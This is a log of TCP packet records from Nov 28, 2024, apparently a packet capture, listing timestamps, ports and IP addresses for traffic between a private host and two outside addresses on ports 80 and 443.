Nov 28, 2024 06:48:32.770535946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.770684004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.771351099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.771368027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.771394968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.771414042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.772111893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.772150040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.772209883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.773061037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.773077965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.773235083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.773802996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.773849964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.773849964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.773968935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.774657965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.774712086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.774724960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.774877071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.775576115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.775687933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.775782108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.775824070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.776359081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.776407003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.776415110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.776488066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.777174950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.777214050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.777280092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.777319908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.778431892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.778455973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.778465986 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.778480053 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.778536081 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.778536081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.778541088 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.778609037 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.778609037 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.778949976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.779007912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.779011965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.779326916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.779889107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.779905081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.779952049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.779968023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.780592918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.780639887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.780700922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.780749083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.781454086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.781553030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.781595945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.781660080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.782277107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.782330990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.782402039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.782438040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.783102989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.783152103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.783190966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.783289909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.783938885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.783987045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.784092903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.784143925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.784826994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.784873962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.784903049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.784955025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.785702944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.785733938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.785751104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.785782099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.786533117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.786592007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.786602974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.786643028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.789685011 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.789700985 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.789742947 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.789747000 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.789796114 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.789796114 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.799808025 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.799823046 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.799912930 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.799912930 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.799917936 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.799989939 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.808831930 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.808861971 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.808909893 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.808912992 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.808955908 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.808955908 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.809305906 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:32.809314966 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:32.890755892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.890842915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.890849113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.890889883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.891129971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.891176939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.891207933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.891252041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.891676903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.891735077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.891801119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.891844034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.892642021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.892676115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.892826080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.893507957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.893553019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.893562078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.893596888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.894237041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.894313097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.894337893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.894380093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.895178080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.895195961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.895221949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.895262957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.895921946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.896044970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.896111012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.896843910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.896903038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.896939039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.896981955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.897708893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.897772074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.897890091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.897947073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.898514032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.898530006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.898566008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.898583889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.899363041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.899488926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.899509907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.899544954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.900154114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.900197983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.900266886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.900418043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.901038885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.901113033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.901139021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.901190042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.901949883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.901968002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.902019024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.902793884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.902813911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.902854919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.902942896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.903620005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.903640032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.903675079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.903702974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.904407024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.904448032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.904529095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.904746056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.905270100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.905335903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.905438900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.905531883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.906168938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.906240940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.906424999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.906480074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.906972885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.907026052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.907109022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.907202005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.907939911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.908000946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.908036947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.908082008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.908788919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.908802032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.908857107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.909559965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.909631014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.909692049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.909866095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.910358906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.910406113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.910476923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.910514116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.911245108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.911278963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.911354065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.911504030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.912096977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.912184954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.912216902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.912250042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.912914991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.912975073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.913014889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.913055897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.913554907 CET	49818	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:32.913604975 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:32.913666010 CET	49818	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:32.913806915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.913846970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.913886070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.913899899 CET	49818	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:32.913911104 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:32.913921118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.914650917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.914707899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.914761066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.914797068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.915402889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.915469885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.967725039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.967780113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.967789888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.967920065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.968003035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.968089104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.968133926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.968864918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.968961000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.969043970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.969192982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.969734907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.969753981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.969789028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.969822884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.970585108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.970690012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.970752954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.970792055 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.971354008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.971440077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.971478939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.971641064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.972253084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.972292900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.972331047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.972367048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.973081112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.973129034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.973162889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.973201990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.973911047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.973958969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.974028111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.974065065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.974761009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.974864960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.974894047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.974909067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.975676060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.975688934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.975727081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.975749016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.976480961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.976574898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.976576090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.976620913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.977327108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.977371931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.977431059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.977472067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.978163004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.978271961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.978313923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.979007959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.979051113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.979219913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.979281902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.979856968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.979928970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.979984045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.980031013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.980756044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.980768919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.980808973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.980839014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.981637001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.981678963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.981688023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.981736898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.982394934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.982439995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.982485056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.982613087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.983252048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.983306885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.983381033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.983551025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:32.984164000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:32.984235048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.015069962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.015185118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.015201092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.015239000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.015501976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.015547991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.015767097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.015846968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.016386032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.016400099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.016438007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.017229080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.017275095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.091922998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.091937065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.092000961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.092056036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.092101097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.092350960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.092387915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.092920065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.092983007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.093029976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.093584061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.093653917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.093704939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.094424009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.094471931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.094804049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.094890118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.095371962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.095415115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.095427990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.095463991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:33.096141100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:33.096183062 CET	49750	80	192.168.2.5	185.215.113.206
